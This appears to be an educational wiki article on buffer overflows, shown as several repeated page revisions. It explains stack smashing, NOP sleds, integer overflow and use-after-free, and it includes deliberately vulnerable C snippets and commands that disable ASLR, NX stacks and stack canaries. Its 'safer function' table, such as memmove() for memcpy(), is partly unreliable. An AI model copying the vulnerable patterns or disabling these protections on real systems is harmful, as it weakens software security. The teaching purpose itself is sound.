If more data is written to a buffer than the size assigned to it, there is a chance it could overwrite the adjacent memory. This is called a stack overflow. Since the memory overwritten contains valuable information like the return address, this exploitation is a prime target. As an example, consider an input string that gets copied to the stack from a vulnerable function, that does not validate the size. Whatever was written to this string, as long as it is longer than the size of the buffer, will overwrite memory next to the it. If an attacker creates a string that reaches the return address with a new address on purpose, the program will jump to this exact location after its execution. This type of attack is called "stack smashing". It is frequently used and is well-known in the context of buffer overflows. A common problem of stack smashing is how to guess the starting address of the own shellcode. Just by guessing or brute-forcing the exact return value, it would take the attacker a long time and an enormous number of attempts. This can be minimized by inserting a series of NOP instructions in front of the shellcode. A NOP instruction is a special operation which will push the execution one by one until it hits the malicious code. Adding as many NOP instructions as possible increases the chances of reaching the desired code. This means that as long as the return address points to any NOP instruction, the application will execute the shellcode and we do not have to directly hit address where the code starts.

Stack overflows which alter return addresses, are one of the most dangerous methods of gaining unauthorized access to a system. They allow an attacker to circumvent standard program execution and potentially gain complete control. <ref name="One1996"/>

=== Heap-based Buffer Overflow ===

=== Use-After-Free Vulnerability ===
Use-after-free (UAF) vulnerabilities are a specialized form of a memory management bug occurring when a program tries to use a memory object even though it is already deallocated. This vulnerability can happen, because the pointer to the corresponding memory location may remain accessible, despite the memory itself being marked as accessible for other allocations. If a program tries to access this now-freed memory, it could cause some unexpected behavior or even a security breach. Since an attacker could exploit this "dangling pointer" to gain unauthorized access to the system or leak information meant to be kept confidential. <ref name="UAF">Byoungyoung Lee, Chengyu Song, Yeongjin Jang, Tielei Wang, Taesoo Kim, Long Lu, and Wenke Lee. Preventing use-after-free with dangling pointers nullification. In Network and Distributed System Security Symposium, 2015</ref>

== Mitigation Techniques and How to Disable Them ==
This section will briefly introduce some mitigation techniques that can potentially prevent buffer overflow attacks. First, it will explain the basic concepts in a simple way, and second, it will provide brief guides on how to disable certain mitigation techniques for research purposes.

=== Adress Space Layout Randomisation (ASLR) ===
ASLR randomizes the memory address space layout of processes, making it harder to predict the location of specific functions or buffers. <ref name=”RE1”/> Since code reuse attacks (e.g., ROP attacks) require the memory addresses of gadgets to be known to an attacker, techniques to randomize their entry points have become increasingly popular.

'''ASLR can be temporarily disabled''' at the system level (Linux):
<pre>
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
</pre>
Re-enable after testing:
<pre>
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
</pre>

=== Non-executable Stack (nx-stack) ===
A non-executable stack, or nx-stack, prevents execution of code in the stack, when designated as non-executable, mitigating buffer overflow attacks that inject shellcode into that region. <ref name=”RE1”/>

To '''disable nx-stack''' on a program, use the -z execstack option during compilation. This allows execution of code in the stack memory:
<pre>
gcc -z execstack -o vulnerable_program source.c
</pre>

=== Data Execution Prevention (DEP) ===

Data Execution Prevention (DEP) is a security feature originally developed by MicrosoftR© for Windows XP SP2. There are two basic variants: hardware-based DEP and software-based DEP. If supported by the CPU as well as the process, hardware DEP will be employed; otherwise, DEP has to be carried out in software, which is part of the Windows operating system. The basic functionality of DEP is to prevent applications from executing code in a non-executable area of memory.

=== Stack Canaries ===

Stack canaries are small random values placed on the stack to detect and prevent buffer overflow attacks. If an overflow occurs and modifies the stack, the canary value will change, triggering a security alert or crash. <ref name=”RE1”/>
Typical types of canaries, which are supported by security hardening technologies like ProPolice or Stackguard (GCC), are terminator canaries, random canaries, and random XOR canaries.

To '''disable stack canaries''' when compiling a program, use the -fno-stack-protector option with gcc:
<pre>
gcc -fno-stack-protector -o vulnerable_program source.c
</pre>

== Conclusion ==
Since the rise of C in the early 1970s, buffer overflows have become a serious security vulnerability. Even though high-level programming languages are typically not affected, the number of vulnerable systems is actually rising. At the same time, a wide array of countermeasures are also increasingly adopted and applied. Features like executable space protection (e.g., data execution prevention under Windows) have already been deployed since the mid-2000s, and on the compiler side, technologies like Stackguard support several detection and prevention mechanisms (e.g., different types of canaries). Furthermore, almost every widely used operation system supports Address Space Layout Randomization in order to minimize the attack surface for buffer overflow attacks. For example, at the beginning of 2020, most of the bigger operating systems (Linux, Windows, macOS, iOS, Android, Solaris, OpenBSD, etc.) will offer support for ASLR.

Another key point is the expansion of the Internet of Things (IoT). These widely distributed networks of hardware endpoints have deemed themselves the perfect target for buffer overflow attacks. This stems from the fact that IoT applications mostly utilize low-level, closely hardware-related languages such as C and C++, both of which are almost exclusively for buffer overflows.

== References ==

<references />

* [http://phrack.org/issues/49/14.html Smashing the stack for fun and profit (1996, Aleph One)]
* [http://phrack.org/issues/60/10.html#article Basic Integer Overflows (2002, Blexim)]
* [https://doi.org/10.1109/SP.2013.45 Just-In-Time Code Reuse: On the Effectiveness of Fine-Grained Address Space Layout Randomization (2013, Snow et al.)]
* [http://www.cs.ucf.edu/~czou/CDA6938-06/Buffer%20Overflows.pdf Buffer Overflow for Dummies (2002, Josef Nelißen)]
* [https://www.hackingarticles.in/a-beginners-guide-to-buffer-overflow/ A Beginner’s Guide to Buffer Overflow (2021, Raj Chandel)]
* [https://repository.unikom.ac.id/56387/1/24_Deadly_Sin.pdf 24 Deadly Sins of Software Security (2009, Michael Howard, David LeBlanc, and John Viega)]
* [https://scholar.google.com/scholar_case?case=551386241451639668 United States v. Morris (1991, U.S. Dept. of Justice)]
* [https://cwe.mitre.org/top25/archive/2023/2023_top25_list.html 2023 CWE Top 25 Most Dangerous Software Weaknesses (2023, CWE)]
* [https://computersciencewiki.org/index.php?title=Stack_memory Stack memory (2023, Bill MacKenty)]
* [https://computersciencewiki.org/index.php?title=Heap_memory Heap memory (2023, Bill MacKenty)]
* [https://dhanvina.medium.com/ariane-5-disaster-integer-overflow-space-requirements-b96f4dda8bdb Ariane 5 (2022, Innovative Bytes)]
* [https://www.researchgate.net/publication/281784645_Preventing_Use-after-free_with_Dangling_Pointers_Nullification Use-after-free bug (2015, Lee et al.)]

[[Category:Basic]]

Buffer Overflows

2024-12-11T16:39:51Z

AKofranek: /* The Stack and Important Control Structures */

[[File:Buffer-overflow.png|500px|thumb|right|Buffer Overflow examle <ref name="BOB">What is a Buffer Overflow Attack, [Online]. Available: https://www.wallarm.com/what/buffer-overflow-attack-definition-types-use-by-hackers-part-1. Accessed: Dec. 11, 2024</ref>]]

== Introduction ==
Buffer overflow is a security vulnerability that should not be underestimated, as it has been the most common type of vulnerability in the last decade. This type of attack is an essential part of all security attacks, as buffer overflow vulnerabilities are widespread and easy to exploit. Especially in the field of cyber attacks, they are exploited by users to gain access to vulnerable servers and control them.

== Definitions ==

=== Buffer ===

A buffer is defined as a '''limited''', contiguously allocated set of memory. The most common buffer in C is an array. <ref name=”RE1”>C. Anley, The Shellcoder’s Handbook: Discovering and Exploiting Security Holes, 2nd ed., Indianapolis: Wiley, 2007</ref>

=== Buffer Overflow ===

Buffer Overflows are possible because in the C and C++ languages there exists no inherent bounds-checking to ensure that data being copied into a buffer will not be larger than what the buffer was initialized to hold. Consequently, if the person writing the program has not explicitly coded the program to check for oversize input, it is possible for data to fill a buffer, and if that data is large enough, to continue to write past the end of the buffer. <ref name=”RE1”/>

== Common Weakness Enumeration (CWE) ==

The importance of addressing buffer overflow vulnerabilities can be seen by examining Mitre’s respective parent category: <ref name=”MIT23a”> MITRE, "CVE Search Results for 'buffer overflow'," [Online]. Available: https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=buffer+overflow. Accessed: Oct. 16, 2024. </ref>

* CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer

There is a large variety of direct and indirect child categories that further help create a taxonomy of the issues at hand. Some of those are listed here:
<ref name="MIT23b">MITRE, "CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer," [Online]. Available: https://cwe.mitre.org/data/definitions/119.html. Accessed: Oct. 16, 2024.</ref>
<ref name="MIT23c">MITRE, "CWE-788: Access of Memory Location After End of Buffer," [Online]. Available: https://cwe.mitre.org/data/definitions/788.html. Accessed: Oct. 16, 2024.</ref>

* CWE-788: Access of Memory Location After End of Buffer
* CWE-787: Out-of-bounds Write
* CWE-786: Access of Memory Location Before Start of Buffer
* CWE-125: Out-of-bounds Read
* CWE-120: Buffer Copy Without Checking Size of Input (’Classic Buffer Over- flow’)
* CWE-121: Stack-based Buffer Overflow
* CWE-122: Heap-based Buffer Overflow
* CWE-126: Buffer Over-read

== History ==
In the past, there were often a series of events executed with the help of buffer overflows. In 1980, the term Internet worm was a very well-known and sensitive topic because a worm was malicious software that reproduced itself and spread through network connections. It was called a Morris worm because on November 2, 1988, an event occurred that changed the way people thought about networks and about the Internet. On that day, tens of thousands of computers quickly and simultaneously became infected with a self-replicating computer program. Back then, computer science student Robert T. Morris created a computer worm that exploited an unsafe function, which at the time was very commonly used and distributed. Through the practical application of a buffer overflow, the computer worm spread itself around at an alarming rate and, going back, nearly shut down the entire internet. This situation resulted in Morris being the first person convicted under the Computer Fraud and Abuse Act, demonstrating further how dangerous buffer overflows can be. To this day, this attack is perhaps one of the most significant events in the history of computing. With buffer overflows, it was also possible to bypass various security measures. For example, buffer overflows could be used to remove software restrictions from firmware or to bypass copy protection. This was the case with the Android and iOS operating systems, where it was possible to remove various locks and modify the smartphone according to one's own wishes. For example, it was possible to install apps that were not available in the store elsewhere, change the boot animation, access hidden system files, remove manufacturer-specific apps, remove network locks, and much more. One keyword is "jailbreaking" for Apple devices and "rooting" for Android devices. On Nintendo's game console, a game called Pokemon Yellow could be changed from the inside by manipulating the program using shellcode.

While many of these events already reside in the past, buffer overflows do not. The exploit reoccurs frequently, so much so that in 2023 they still secured themselves a spot on the Common Weakness Enumeration/SANS list of the Top 25 Most Dangerous Software Errors. Whether through the adaptation of the exploit's mechanism or simply by focusing on a new set of targets, buffer overflows stay relevant. That's why, when dealing with cybersecurity of any sort, there is no way past them.

== Technical Background and Context ==

=== Memory Layout of a Process ===

Informally, a process is a '''program in execution'''. The status of the current activity of a process is represented by the value of the '''program counter/instruction pointer''' and the content of the processor’s '''registers'''. Different parts of the program are stored in different memory segments, as shown in the figure below.

[[File:Memory structure.png|center]][https://www.cs.ucf.edu/~czou/CDA6938-06/Buffer%20Overflows.pdf#page=8]

* Stack section: temporary data storage when invoking functions (such as function parameters, return addresses, and local variables)
* Heap section: memory that is dynamically allocated during program run time
* Data section: global variables (initialized and uninitialized)
* Code/Text section: the executable, machine-readable bytecode

=== Readable, Writeable, Executable Memory ===

Memory regions have different rights with respect to the process they belong to. For instance, the text section will usually be marked read only and any attempt to write to it will result in a '''Segmentation Fault'''.
<ref name="One1996">A. One, "Smashing the Stack for Fun and Profit," Phrack, vol. 7, no. 49, Nov. 1996.</ref>
All other sections have to be writeable in order for the process to work properly. <ref name=”RE1”/> Whether a section is '''executable''', will largely depend on the applied settings during compilation of the program and the platform on which it is executed.

=== The Stack and Important Control Structures ===

The stack’s primary purpose is to implement and help with the use of functions. A function call alters the flow of execution through a program. However, when its task is completed, a '''function returns control''' to the statement or instruction following the function call. Furthermore, the stack is used to allocate memory for the local variables used in the functions and to return values from the function. <ref name="One1996"/>

During a function call, arguments are pushed onto the stack in reverse order, and the '''return address''' (the instruction pointer EIP) is saved to enable returning to the caller after function execution. Key stack-related registers are:

* EIP (Instruction Pointer): Stores the next instruction's address.
* ESP (Stack Pointer): Points to the top of the stack.
* EBP (Base Pointer): Marks the base of the stack frame for the current function.

When a function is called, the stack is manipulated using '''PUSH''' and '''POP''' instructions. A '''return address''' is pushed onto the stack, allowing the program to return to the calling function. Buffer overflows can occur if a function does not properly limit the size of data written to buffers, potentially '''overwriting the return address'''. An attacker may '''overwrite the return pointer to redirect the flow of execution'''.

== Causes ==

=== C/C++: Vulnerable Functions ===
C is the programming language most affected when it comes to creating buffer overflows, closely followed by C++.
<ref name="Howard2009">M. Howard, D. LeBlanc, and J. Viega, *24 Deadly Sins of Software Security: Programming Flaws and How to Fix Them*, 1st ed. USA: McGraw-Hill, Inc., 2009.</ref>
When writing C code the programmer is responsible for '''data integrity'''. If this responsibility were shifted over to the compiler, the resulting binaries would be significantly slower and less efficient. Furthermore, C’s simplicity increases the programmer’s control. However, this can result in programs that are vulnerable to buffer overflows and memory leaks if the programmer isn’t careful.
<ref name="Erickson2008">J. Erickson, *Hacking: The Art of Exploitation*, 2nd ed. San Francisco: No Starch Press, 2008.</ref>

Some '''vulnerable functions''' from the C/C++ standard are listed here, each with their respective, saver counterpart:
{|class="wikitable"
! Vulnerable || Safer
|-
| strcpy() || strncpy()
|-
| gets() || fgets()
|-
| strcat() || strncat()
|-
| memcpy() || memmove()
|-
| scanf() || sscanf()
|-
| memset() || -
|}

=== IoT: Constrained Devices (TODO) ===

No Mitigaton Techniques implemented

== Dangers ==

Arguably, the most significant consequence of a buffer overflow is when the attacker is able to execute their own malicious shellcode. Which is also referred to as arbitrary code execution. This way it is completely up to the attacker itself what they will do with the same privileges as the program on the level of the current user. Create a reverse shell to execute remote code, stealing data or even manipulate all settings of the system. By getting elevated privileges, the attacker would also be able to run code as an administrator or root. Another potential consequence is a Denial of Service (DoS) attack. Instead of executing code, the goal is to cause unpredictable behavior or crash the system by overwriting as much data as possible until the program is unable to handle it. The downtime of a program can be costly for large organizations. Data corruption, system instability, and information disclosure, are all potential consequences that can be caused by a buffer overflow. Consequently, it is up to the creativity of the attacker once a vulnerable code is identified.

Summed up these four are the main dangers:

* Data Corruption
* Program Crashes
* Exploitation: Control Flow Alteration
* Exploitation (via Shellcode Injection): Arbitrary Code Execution

== Types of Buffer Overflow Vulnerabilities ==

The following section will introduce descriptions and simple examples related to the most relevant categories of buffer overflow vulnerabilities. The distinction between Buffer Over-Read and Buffer Over-Write provides a basic categorization of the issues at hand. The respective sections will include simple, illustrative examples. The sections on Stack Buffer Overflow and Heap Buffer Overflow will present more complex examples, where the mechanics and control structures of each memory region are exploited. Note that Over-Read and Over-Write vulnerabilities can occur in both sections of process memory.

=== Buffer Over-Read ===

The following is a simple example of a Out-of-bounds read operation, that can be performed by a C program:

<pre>

#include <stdio.h>
#include <string.h>

int main(){

int array[5] = {1 ,2 ,3 ,4 ,5};
printf("%d\n", array[5]);

}
</pre>

This program illustrates a common error that new programmers might run into when learning about arrays: Referencing array[5] will eventually attempt to access its sixth element, although the array was only initialized to hold five elements. When this program is run, it will read beyond the bounds of the array and might produce unexpected results.

=== Buffer Over-Write ===
In this section, a simple Out-of-bounds Write vulnerability will be examined. The following program deliberately uses the insecure strcpy()-function to copy a large string into a buffer, which is actually too small for the string. The following listing displays the complete source code.

<pre>
#include <stdio.h>
#include <string.h>

int main() {

char B[3] = "03"; // gets higher address on stack
char A[8] = "0000000"; // gets lower address on stack

printf("Before overflow: A = %s, B = %s\n", A, B);

strcpy(A, "excessive"); // dangerous
printf("After overflow: A = %s, B = %s\n", A, B);

return 0;
}
</pre>

=== Integer Overflow ===
Integer overflows occur when an arithmetic operation attempts to generate a value that lies outside a range that can be represented with a specified number of bits. The most common result of an overflow is that the least significant representable bits of the result are stored. An overflow condition can lead to results that are equivalent to unintended behavior. In particular, if the possibility is not expected, an overflow can affect the reliability and safety of a program. A code example is shown below.

unsigned char a = 255;
unsigned char b = 2;
unsigned char Result = a + b;

The data type unsigned char is used, which comprises 8 bits, and the value range is from 0 to 255. For the variable "a," the value 255 is assigned, and for the variable "b," the value 2 is assigned. If an arithmetic operation is performed, we would get a result that requires more bits than are present to represent. The corresponding dual calculation is shown below.

11111111 (a)
+ 00000010 (b)
----------
100000001 (Result)

The front one, the ninth bit, is no longer contained in the 8 bits of the data type ''unsigned char''. If only the last 8 bits were considered, the result would be 1 and not 257.

The Ariane 5 disaster of 1996 illustrates what can happen when integer overflows are not handled properly in the real world. The rocket was destroyed 37 seconds after launch because of a severe software error, which was caused by an integer overflow. This shows how unresolved integer overflows can have disastrous consequences, particularly in safety-critical systems like aerospace control software. The incident could have been prevented if there had been more robust input validation and error handling procedures, particularly during the conversion process from floating-point to integer data types. <ref name=”AR1”>Innovative Bytes, Ariane-5 disaster - (integer overflow - space requirements), Medium, October 2022</ref>

=== Stack-based Buffer Overflow ===

If more data is written to a buffer than the size assigned to it, there is a chance it could overwrite the adjacent memory. This is called a stack overflow. Since the memory overwritten contains valuable information like the return address, this exploitation is a prime target. As an example, consider an input string that gets copied to the stack from a vulnerable function, that does not validate the size. Whatever was written to this string, as long as it is longer than the size of the buffer, will overwrite memory next to the it. If an attacker creates a string that reaches the return address with a new address on purpose, the program will jump to this exact location after its execution. This type of attack is called "stack smashing". It is frequently used and is well-known in the context of buffer overflows. A common problem of stack smashing is how to guess the starting address of the own shellcode. Just by guessing or brute-forcing the exact return value, it would take the attacker a long time and an enormous number of attempts. This can be minimized by inserting a series of NOP instructions in front of the shellcode. A NOP instruction is a special operation which will push the execution one by one until it hits the malicious code. Adding as many NOP instructions as possible increases the chances of reaching the desired code. This means that as long as the return address points to any NOP instruction, the application will execute the shellcode and we do not have to directly hit address where the code starts.

Stack overflows which alter return addresses, are one of the most dangerous methods of gaining unauthorized access to a system. They allow an attacker to circumvent standard program execution and potentially gain complete control. <ref name="One1996"/>

=== Heap-based Buffer Overflow ===

=== Use-After-Free Vulnerability ===
Use-after-free (UAF) vulnerabilities are a specialized form of a memory management bug occurring when a program tries to use a memory object even though it is already deallocated. This vulnerability can happen, because the pointer to the corresponding memory location may remain accessible, despite the memory itself being marked as accessible for other allocations. If a program tries to access this now-freed memory, it could cause some unexpected behavior or even a security breach. Since an attacker could exploit this "dangling pointer" to gain unauthorized access to the system or leak information meant to be kept confidential. <ref name="UAF">Byoungyoung Lee, Chengyu Song, Yeongjin Jang, Tielei Wang, Taesoo Kim, Long Lu, and Wenke Lee. Preventing use-after-free with dangling pointers nullification. In Network and Distributed System Security Symposium, 2015</ref>

== Mitigation Techniques and How to Disable Them ==
This section will briefly introduce some mitigation techniques that can potentially prevent buffer overflow attacks. First, it will explain the basic concepts in a simple way, and second, it will provide brief guides on how to disable certain mitigation techniques for research purposes.

=== Adress Space Layout Randomisation (ASLR) ===
ASLR randomizes the memory address space layout of processes, making it harder to predict the location of specific functions or buffers. <ref name=”RE1”/> Since code reuse attacks (e.g., ROP attacks) require the memory addresses of gadgets to be known to an attacker, techniques to randomize their entry points have become increasingly popular.

'''ASLR can be temporarily disabled''' at the system level (Linux):
<pre>
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
</pre>
Re-enable after testing:
<pre>
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
</pre>

=== Non-executable Stack (nx-stack) ===
A non-executable stack, or nx-stack, prevents execution of code in the stack, when designated as non-executable, mitigating buffer overflow attacks that inject shellcode into that region. <ref name=”RE1”/>

To '''disable nx-stack''' on a program, use the -z execstack option during compilation. This allows execution of code in the stack memory:
<pre>
gcc -z execstack -o vulnerable_program source.c
</pre>

=== Data Execution Prevention (DEP) ===

Data Execution Prevention (DEP) is a security feature originally developed by MicrosoftR© for Windows XP SP2. There are two basic variants: hardware-based DEP and software-based DEP. If supported by the CPU as well as the process, hardware DEP will be employed; otherwise, DEP has to be carried out in software, which is part of the Windows operating system. The basic functionality of DEP is to prevent applications from executing code in a non-executable area of memory.

=== Stack Canaries ===

Stack canaries are small random values placed on the stack to detect and prevent buffer overflow attacks. If an overflow occurs and modifies the stack, the canary value will change, triggering a security alert or crash. <ref name=”RE1”/>
Typical types of canaries, which are supported by security hardening technologies like ProPolice or Stackguard (GCC), are terminator canaries, random canaries, and random XOR canaries.

To '''disable stack canaries''' when compiling a program, use the -fno-stack-protector option with gcc:
<pre>
gcc -fno-stack-protector -o vulnerable_program source.c
</pre>

== Conclusion ==
Since the rise of C in the early 1970s, buffer overflows have become a serious security vulnerability. Even though high-level programming languages are typically not affected, the number of vulnerable systems is actually rising. At the same time, a wide array of countermeasures are also increasingly adopted and applied. Features like executable space protection (e.g., data execution prevention under Windows) have already been deployed since the mid-2000s, and on the compiler side, technologies like Stackguard support several detection and prevention mechanisms (e.g., different types of canaries). Furthermore, almost every widely used operation system supports Address Space Layout Randomization in order to minimize the attack surface for buffer overflow attacks. For example, at the beginning of 2020, most of the bigger operating systems (Linux, Windows, macOS, iOS, Android, Solaris, OpenBSD, etc.) will offer support for ASLR.

Another key point is the expansion of the Internet of Things (IoT). These widely distributed networks of hardware endpoints have deemed themselves the perfect target for buffer overflow attacks. This stems from the fact that IoT applications mostly utilize low-level, closely hardware-related languages such as C and C++, both of which are almost exclusively for buffer overflows.

== References ==

<references />

* [http://phrack.org/issues/49/14.html Smashing the stack for fun and profit (1996, Aleph One)]
* [http://phrack.org/issues/60/10.html#article Basic Integer Overflows (2002, Blexim)]
* [https://doi.org/10.1109/SP.2013.45 Just-In-Time Code Reuse: On the Effectiveness of Fine-Grained Address Space Layout Randomization (2013, Snow et al.)]
* [http://www.cs.ucf.edu/~czou/CDA6938-06/Buffer%20Overflows.pdf Buffer Overflow for Dummies (2002, Josef Nelißen)]
* [https://www.hackingarticles.in/a-beginners-guide-to-buffer-overflow/ A Beginner’s Guide to Buffer Overflow (2021, Raj Chandel)]
* [https://repository.unikom.ac.id/56387/1/24_Deadly_Sin.pdf 24 Deadly Sins of Software Security (2009, Michael Howard, David LeBlanc, and John Viega)]
* [https://scholar.google.com/scholar_case?case=551386241451639668 United States v. Morris (1991, U.S. Dept. of Justice)]
* [https://cwe.mitre.org/top25/archive/2023/2023_top25_list.html 2023 CWE Top 25 Most Dangerous Software Weaknesses (2023, CWE)]
* [https://computersciencewiki.org/index.php?title=Stack_memory Stack memory (2023, Bill MacKenty)]
* [https://computersciencewiki.org/index.php?title=Heap_memory Heap memory (2023, Bill MacKenty)]
* [https://dhanvina.medium.com/ariane-5-disaster-integer-overflow-space-requirements-b96f4dda8bdb Ariane 5 (2022, Innovative Bytes)]
* [https://www.researchgate.net/publication/281784645_Preventing_Use-after-free_with_Dangling_Pointers_Nullification Use-after-free bug (2015, Lee et al.)]

[[Category:Basic]]

Buffer Overflows

2024-12-11T12:35:37Z

AKofranek: /* Buffer Over-Write (maybe weg) */

== Introduction ==
Buffer overflow is a security vulnerability that should not be underestimated, as it has been the most common type of vulnerability in the last decade. This type of attack is an essential part of all security attacks, as buffer overflow vulnerabilities are widespread and easy to exploit. Especially in the field of cyber attacks, they are exploited by users to gain access to vulnerable servers and control them.

== Definitions ==

=== Buffer ===

A buffer is defined as a '''limited''', contiguously allocated set of memory. The most common buffer in C is an array. <ref name=”RE1”>C. Anley, The Shellcoder’s Handbook: Discovering and Exploiting Security Holes, 2nd ed., Indianapolis: Wiley, 2007</ref>

=== Buffer Overflow ===

Buffer Overflows are possible because in the C and C++ languages there exists no inherent bounds-checking to ensure that data being copied into a buffer will not be larger than what the buffer was initialized to hold. Consequently, if the person writing the program has not explicitly coded the program to check for oversize input, it is possible for data to fill a buffer, and if that data is large enough, to continue to write past the end of the buffer. <ref name=”RE1”/>

== Common Weakness Enumeration (CWE) ==

The importance of addressing buffer overflow vulnerabilities can be seen by examining Mitre’s respective parent category: <ref name=”MIT23a”> MITRE, "CVE Search Results for 'buffer overflow'," [Online]. Available: https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=buffer+overflow. Accessed: Oct. 16, 2024. </ref>

* CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer

There is a large variety of direct and indirect child categories that further help create a taxonomy of the issues at hand. Some of those are listed here:
<ref name="MIT23b">MITRE, "CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer," [Online]. Available: https://cwe.mitre.org/data/definitions/119.html. Accessed: Oct. 16, 2024.</ref>
<ref name="MIT23c">MITRE, "CWE-788: Access of Memory Location After End of Buffer," [Online]. Available: https://cwe.mitre.org/data/definitions/788.html. Accessed: Oct. 16, 2024.</ref>

* CWE-788: Access of Memory Location After End of Buffer
* CWE-787: Out-of-bounds Write
* CWE-786: Access of Memory Location Before Start of Buffer
* CWE-125: Out-of-bounds Read
* CWE-120: Buffer Copy Without Checking Size of Input (’Classic Buffer Over- flow’)
* CWE-121: Stack-based Buffer Overflow
* CWE-122: Heap-based Buffer Overflow
* CWE-126: Buffer Over-read

== History ==
In the past, there were often a series of events executed with the help of buffer overflows. In 1980, the term Internet worm was a very well-known and sensitive topic because a worm was malicious software that reproduced itself and spread through network connections. It was called a Morris worm because on November 2, 1988, an event occurred that changed the way people thought about networks and about the Internet. On that day, tens of thousands of computers quickly and simultaneously became infected with a self-replicating computer program. Back then, computer science student Robert T. Morris created a computer worm that exploited an unsafe function, which at the time was very commonly used and distributed. Through the practical application of a buffer overflow, the computer worm spread itself around at an alarming rate and, going back, nearly shut down the entire internet. This situation resulted in Morris being the first person convicted under the Computer Fraud and Abuse Act, demonstrating further how dangerous buffer overflows can be. To this day, this attack is perhaps one of the most significant events in the history of computing. With buffer overflows, it was also possible to bypass various security measures. For example, buffer overflows could be used to remove software restrictions from firmware or to bypass copy protection. This was the case with the Android and iOS operating systems, where it was possible to remove various locks and modify the smartphone according to one's own wishes. For example, it was possible to install apps that were not available in the store elsewhere, change the boot animation, access hidden system files, remove manufacturer-specific apps, remove network locks, and much more. One keyword is "jailbreaking" for Apple devices and "rooting" for Android devices. On Nintendo's game console, a game called Pokemon Yellow could be changed from the inside by manipulating the program using shellcode.

While many of these events already reside in the past, buffer overflows do not. The exploit reoccurs frequently, so much so that in 2023 they still secured themselves a spot on the Common Weakness Enumeration/SANS list of the Top 25 Most Dangerous Software Errors. Whether through the adaptation of the exploit's mechanism or simply by focusing on a new set of targets, buffer overflows stay relevant. That's why, when dealing with cybersecurity of any sort, there is no way past them.

== Technical Background and Context ==

=== Memory Layout of a Process ===

Informally, a process is a '''program in execution'''. The status of the current activity of a process is represented by the value of the '''program counter/instruction pointer''' and the content of the processor’s '''registers'''. Different parts of the program are stored in different memory segments, as shown in the figure below.

[[File:Memory structure.png|center]][https://www.cs.ucf.edu/~czou/CDA6938-06/Buffer%20Overflows.pdf#page=8]

* Stack section: temporary data storage when invoking functions (such as function parameters, return addresses, and local variables)
* Heap section: memory that is dynamically allocated during program run time
* Data section: global variables (initialized and uninitialized)
* Code/Text section: the executable, machine-readable bytecode

=== Readable, Writeable, Executable Memory ===

Memory regions have different rights with respect to the process they belong to. For instance, the text section will usually be marked read only and any attempt to write to it will result in a '''Segmentation Fault'''.
<ref name="One1996">A. One, "Smashing the Stack for Fun and Profit," Phrack, vol. 7, no. 49, Nov. 1996.</ref>
All other sections have to be writeable in order for the process to work properly. <ref name=”RE1”/> Whether a section is '''executable''', will largely depend on the applied settings during compilation of the program and the platform on which it is executed.

=== The Stack and Important Control Structures ===

The stack’s primary purpose is to implement and help with the use of functions. A function call alters the flow of execution through a program. However, when its task is completed, '''a function returns control''' to the statement or instruction following the function call. Furthermore, the stack is used to allocate memory for the local variables used in the functions and to return values from the function. <ref name="One1996"/>

During a function call, arguments are pushed onto the stack in reverse order, and the '''return address''' (the instruction pointer EIP) is saved to enable returning to the caller after function execution. Key stack-related registers are:

* EIP (Instruction Pointer): Stores the next instruction's address.
* ESP (Stack Pointer): Points to the top of the stack.
* EBP (Base Pointer): Marks the base of the stack frame for the current function.

When a function is called, the stack is manipulated using '''PUSH''' and '''POP''' instructions. A '''return address''' is pushed onto the stack, allowing the program to return to the calling function. Buffer overflows can occur if a function does not properly limit the size of data written to buffers, potentially '''overwriting the return address'''. An attacker may '''overwrite the return pointer to redirect the flow of execution'''.

== Causes ==

=== C/C++: Vulnerable Functions ===
C is the programming language most affected when it comes to creating buffer overflows, closely followed by C++.
<ref name="Howard2009">M. Howard, D. LeBlanc, and J. Viega, *24 Deadly Sins of Software Security: Programming Flaws and How to Fix Them*, 1st ed. USA: McGraw-Hill, Inc., 2009.</ref>
When writing C code the programmer is responsible for '''data integrity'''. If this responsibility were shifted over to the compiler, the resulting binaries would be significantly slower and less efficient. Furthermore, C’s simplicity increases the programmer’s control. However, this can result in programs that are vulnerable to buffer overflows and memory leaks if the programmer isn’t careful.
<ref name="Erickson2008">J. Erickson, *Hacking: The Art of Exploitation*, 2nd ed. San Francisco: No Starch Press, 2008.</ref>

Some '''vulnerable functions''' from the C/C++ standard are listed here, each with their respective, saver counterpart:
{|class="wikitable"
! Vulnerable || Safer
|-
| strcpy() || strncpy()
|-
| gets() || fgets()
|-
| strcat() || strncat()
|-
| memcpy() || memmove()
|-
| memset() || -
|}

=== IoT: Constrained Devices (TODO) ===

No Mitigaton Techniques implemented

== Dangers (TODO) ==

* Data Corruption
* Program Crashes
* Exploitation: Control Flow Alteration
* Exploitation (via Shellcode Injection): Arbitrary Code Execution

== Types of Buffer Overflow Vulnerabilities ==

The following section will introduce descriptions and simple examples related to the most relevant categories of buffer overflow vulnerabilities. The distinction between Buffer Over-Read and Buffer Over-Write provides a basic categorization of the issues at hand. The respective sections will include simple, illustrative examples. The sections on Stack Buffer Overflow and Heap Buffer Overflow will present more complex examples, where the mechanics and control structures of each memory region are exploited. Note that Over-Read and Over-Write vulnerabilities can occur in both sections of process memory.

=== Buffer Over-Read ===

The following is a simple example of a Out-of-bounds read operation, that can be performed by a C program:

<pre>

#include <stdio.h>
#include <string.h>

int main(){

int array[5] = {1 ,2 ,3 ,4 ,5};
printf("%d\n", array[5]);

}
</pre>

This program illustrates a common error that new programmers might run into when learning about arrays: Referencing array[5] will eventually attempt to access its sixth element, although the array was only initialized to hold five elements. When this program is run, it will read beyond the bounds of the array and might produce unexpected results.

=== Buffer Over-Write ===
In this section, a simple Out-of-bounds Write vulnerability will be examined. The following program deliberately uses the insecure strcpy()-function to copy a large string into a buffer, which is actually too small for the string. The following listing displays the complete source code.

<pre>
#include <stdio.h>
#include <string.h>

int main() {

char B[3] = "03"; // gets higher address on stack
char A[8] = "0000000"; // gets lower address on stack

printf("Before overflow: A = %s, B = %s\n", A, B);

strcpy(A, "excessive"); // dangerous
printf("After overflow: A = %s, B = %s\n", A, B);

return 0;
}
</pre>

=== Integer Overflow ===
